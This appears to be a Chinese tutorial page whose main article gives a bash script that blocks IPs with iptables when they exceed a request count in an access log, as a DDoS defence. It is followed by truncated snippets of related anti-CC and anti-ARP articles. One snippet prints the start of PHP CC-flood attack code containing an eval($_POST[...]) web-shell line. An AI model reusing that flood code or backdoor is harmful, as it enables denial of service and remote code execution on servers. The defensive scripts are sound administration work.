利用Shell 脚本解决DDOS攻击问题

思路:主要利用 awk ,if结构,sort,uniq

#!/bin/bash
FilePath="access.log"
awk '{print $1}' $FilePath | sort -rn | uniq -c >ip_count.log
cat ip_count.log | while read text  ####读取文件内容,以行为单位
do
echo $text
count=`echo $text | awk '{print $1}' `
ip=`echo $text | awk '{print $2}'`
if [ $count -gt 20 ]
then
if iptables -L | grep $ip  ###判断是否已经在iptables 中
then
echo "ip地址存在iptables中,不添加 "
else
echo "添加ip地址到iptables"
iptables -A INPUT -s $ip -j DROP && echo $ip >>ip_drop.log
/etc/init.d/iptables save &> /dev/null  ###使iptables 生效
/etc/init.d/iptables restart &> /dev/null
fi
else
echo "未到达标准,不添加到iptables"
fi
done

最后,我们可以把脚本添加到定时任务(crontab)里去,定时执行,这样就可以实现动态添加了。

以上所述是小编给大家介绍的利用Shell 脚本解决DDOS攻击问题,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!

时间: 2017-06-17

防止ARP攻击的shell代码

复制代码 代码如下: #!/bin/bashdeclare gw=`route -n | grep -e '^0.0.0.0'`declare gwname=`echo $gw | grep -oe '\w*$'`declare gwip=`echo $gw | grep -oe '[0-9]\{2,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'`declare gwmac=`arp -n | grep -e $gwip | grep -oe '[0

一个简单的防CC攻击Shell脚本分享

实现代码: 复制代码 代码如下: #!/bin/shcd /var/log/httpd/cat access_log|awk '{print $1}'|sort|uniq -c|sort -n -r|head -n 20 > acp /dev/null access_logcp /dev/null error_logcp /dev/null limit.shcp /dev/null c#awk '{print $2}' a|awk -F. '{print $1"."$2"

Linux系统防CC攻击自动拉黑IP增强版(Shell脚本)

前天没事写了一个防CC攻击的Shell脚本,没想到这么快就要用上了,原因是因为360网站卫士的缓存黑名单突然无法过滤后台,导致WordPress无法登录!虽然,可以通过修改本地hosts文件来解决这个问题,但是还是想暂时取消CDN加速和防护来测试下服务器的性能优化及安全防护. 前天写的Shell脚本是加入到crontab计划任务执行的,每5分钟执行一次,今天实际测试了下,可还是可以用的,但是感觉5分钟时间有点过长,无法做到严密防护.于是稍微改进了下代码,现在简单的分享下! 一.Shell代码 #

CCKiller:Linux轻量级CC攻击防御工具,秒级检查、自动拉黑和释放

张戈博客很久以前分享过一个CC攻击的防御脚本,写得不怎么样,不过被51CTO意外转载了.博客从此走上了经常被人拿来练手的不归之路. 当然,还是有不少朋友在生产环境使用,并且会留言询问相关问题.根据这些问题的需求,我花了一些时间重新写了一个比较满意的轻量级CC攻击防御脚本,我给它取了一个比较形象的名字:CCKiller,译为CC终结者. 一.功能申明 分享之前我必须先申明一下,众所周知,DDoS攻击指的是分布式拒绝服务.而CC攻击只是DDoS攻击的一种,本文所阐述的CC攻击,指的是每个IP都以高并

PHP防CC攻击实现代码

这种时候您的统计系统(可能是量子.百度等)当然也是统计不到的.不过我们可以借助于一些防攻击的软件来实现,不过效果有时并不明显.下面我提供一段PHP的代码,可以起到一定的防CC效果. 主要功能:在3秒内连续刷新页面5次以上将指向本机 http://127.0.0.1 复制代码 代码如下: $P_S_T = $t_array[0] + $t_array[1]; $timestamp = time(); session_start(); $ll_nowtime = $timestamp ; if (s

飞云写的防CC攻击的ASP程序插件 打包下载

<% '================== '飞云防CC攻击ASP程序插件 '建议除必须修改的参数内容外不要修改其他内容 '如果需要反馈错误或提交意见,可以到落伍(IM286.COM)联系 "正版飞云" '================== dim FYCC_19,FYCC_20,FYCC_21,FYCC_05 dim FYCC_18 FYCC_05="" 'CCLog.txt存放的路径文件夹!需要手动创建!建议留空 '如果输入,请在前面加上符号"

飞云防CC攻击ASP程序代码插件

<% '================== '飞云防CC攻击ASP程序插件 '建议除必须修改的参数内容外不要修改其他内容 '如果需要反馈错误或提交意见,可以到落伍(IM286.COM)联系 "正版飞云" '================== dim FYCC_19,FYCC_20,FYCC_21,FYCC_05 dim FYCC_18 FYCC_05="" 'CCLog.txt存放的路径文件夹!需要手动创建!建议留空 '如果输入,请在前面加上符号"

较为全面的asp防CC攻击代码分享

复制代码 代码如下: <% Dim CC_Info(4),strInfo,strTemp If Session("CC_Info") = "" Then CC_Info(0) = "cclog.txt" '日志文件名 CC_Info(1) = Request.ServerVariables("HTTP_X_FORWARDED_FOR") CC_Info(2) = Request.ServerVariables("

linux下统计appche站点IP访问量的shell脚本

经常需要根据IP地址统计apache站点访问量,最基本的脚本. 根据IP访问量降序排列: 复制代码 代码如下: #!/bin/bash#Script_name: access_count acc_log=/usr/local/apache2/logs/access_log /bin/awk '{print $1}' $acc_log  | sort | uniq -c | sort -nr 执行效果: 复制代码 代码如下: [root@zabbix ~]# sh access_count  94

php cc攻击代码与防范方法

cc攻击代码,支持udp 复制代码 代码如下: <?php eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET['http']; $rand = $_GET['exit']; $exec_time = $_GET['time']; if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time

Nginx服务器抵御CC攻击的相关配置讲解

0x00 CC攻击的基本原理 CC攻击利用代理服务器向网站发送大量需要较长计算时间的URL请求,如数据库查询等,导致服务器进行大量计算而很快达到自身的处理能力而形成DOS.而攻击者一旦发送请求给代理后就主动断开连接,因爲代理并不因爲客户端这边连接的断开就不去连接目标服务器.因此攻击机的资源消耗相对很小,而从目标服务器看来,来自代理的请求都是合法的. 以前防CC攻击的方法 为了防范CC,以前的方法一个是限制每个IP的连接数,这在地址范围很广阔的情况下比较难实现;二是限制代理的访问,因为一般的代理都